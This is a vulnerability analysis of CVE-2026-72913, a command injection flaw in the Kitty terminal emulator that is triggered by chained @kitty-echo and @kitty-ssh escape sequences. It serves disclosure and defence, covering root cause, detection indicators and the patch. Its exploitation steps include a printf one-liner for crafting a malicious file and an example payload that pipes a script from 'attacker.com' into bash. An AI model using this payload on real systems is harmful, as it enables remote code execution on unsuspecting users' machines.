CVE-2026-72913: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-72913 is a command injection vulnerability in Kitty, a cross-platform GPU-based terminal emulator, that allows arbitrary shell command execution by chaining @kitty-echo and @kitty-ssh DCS (Device Control String) escape sequences. It affects all Kitty versions prior to 0.48.2 and was disclosed on July 30, 2026 via a GitHub Security Advisory, with CVE assignment on August 10, 2026. The vulnerability carries a CVSS v3.1 base score of 7.8 (High) and a CVSS v4.0 base score of 7.3 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of special elements in a command (CWE-77), CRLF injection (CWE-93), and improper neutralization of escape/control sequences (CWE-150). The handle_remote_echo handler in kitty/window.py writes base64-decoded data to the child shell's stdin after filtering out non-printable ASCII characters — but this still allows printable shell command characters to be injected without a terminating newline. The handle_remote_ssh handler calls get_ssh_data() in kittens/ssh/utils.py, which unconditionally emits a \n (newline) before any authentication check, effectively acting as an Enter key. By chaining a @kitty-echo DCS sequence (to inject a command string) with a @kitty-ssh DCS sequence (to supply the newline), an attacker can cause the injected command to execute when a victim simply displays attacker-controlled terminal data (e.g., via cat). A public proof-of-concept was included in the advisory (GitHub Advisory).

Successful exploitation results in arbitrary OS command execution with the privileges of the Kitty child shell process — typically the user's interactive shell account. This grants full confidentiality, integrity, and availability impact on the affected system, enabling an attacker to exfiltrate sensitive data, modify files, install malware, or pivot to other systems accessible from the user's session. Any user who views untrusted content in Kitty (e.g., log files, remote file contents, or piped output) is at risk without any additional interaction beyond the cat or equivalent command (GitHub Advisory, Red Hat Bugzilla).

A proof-of-concept exploit was published as part of the official GitHub Security Advisory, demonstrating command execution (including opening a calculator application) via a crafted file containing chained DCS sequences. The EPSS score is approximately 0.146%, and there is no current evidence of in-the-wild exploitation or CISA KEV catalog inclusion. NVD SSVC data classifies exploitation as "poc" with "total" technical impact. No specific threat actor attribution has been reported (GitHub Advisory, Feedly).

1. Craft malicious payload: Create a file containing chained DCS escape sequences — first a @kitty-echo sequence with a base64-encoded shell command (e.g., id, curl attacker.com/shell.sh | bash), followed immediately by a @kitty-ssh sequence to trigger the newline injection. Example:

printf '\033P@kitty-echo|<base64_command>\033\\\033P@kitty-ssh|\033\\' > malicious.txt

2. Deliver the payload: Host the malicious file on an attacker-controlled server, embed it in log output, include it in a repository, or deliver it via any channel where the victim might display it in Kitty (e.g., a shared log file, a crafted man page, or a malicious package's output).
3. Trigger victim display: Induce the victim to display the file in their Kitty terminal using a command such as cat malicious.txt, less malicious.txt, or any tool that outputs the raw bytes to the terminal.
4. Command execution: When Kitty processes the DCS sequences, handle_remote_echo writes the decoded printable command characters to the child shell's stdin, and the subsequent @kitty-ssh sequence causes get_ssh_data() to emit a \n, executing the injected command with the user's shell privileges — with no additional user interaction required (GitHub Advisory).

• File System: Presence of files containing the byte sequences \033P@kitty-echo| and \033P@kitty-ssh| in close proximity; unexpected scripts or binaries created in user home directories or /tmp following terminal activity.
• Process: Unexpected child processes spawned from the user's shell (e.g., curl, wget, bash, python3, nc) without corresponding user-initiated commands; processes with unusual parent-child relationships tracing back to the Kitty terminal process.
• Network: Outbound connections to unknown external hosts initiated shortly after a user views a file in Kitty, particularly to uncommon ports or newly registered domains.
• Logs: Shell history entries (e.g., .bash_history, .zsh_history) containing commands the user did not type; audit logs showing command execution events without corresponding interactive session activity (GitHub Advisory).

Upgrade Kitty to version 0.48.2 or later, which restricts the @kitty-echo handler to only allow numeric characters (0–9), eliminating the ability to inject shell command characters (Kitty Release, Fix Commit). As a temporary workaround until patching is possible, avoid displaying untrusted terminal data (files, logs, remote content) directly in Kitty — use a non-vulnerable terminal emulator or inspect files with tools that do not pass raw escape sequences to the terminal. No configuration-based mitigation within Kitty itself has been documented (GitHub Advisory).

The vulnerability was discovered and reported by researcher hyuunnn, credited in the official GitHub Security Advisory. Red Hat tracked the issue via Bugzilla (Bug 2513692) with high priority and severity, indicating downstream Linux distribution concern. No significant broader media coverage or notable social media commentary beyond standard vulnerability tracking feeds has been identified at this time (GitHub Advisory, Red Hat Bugzilla).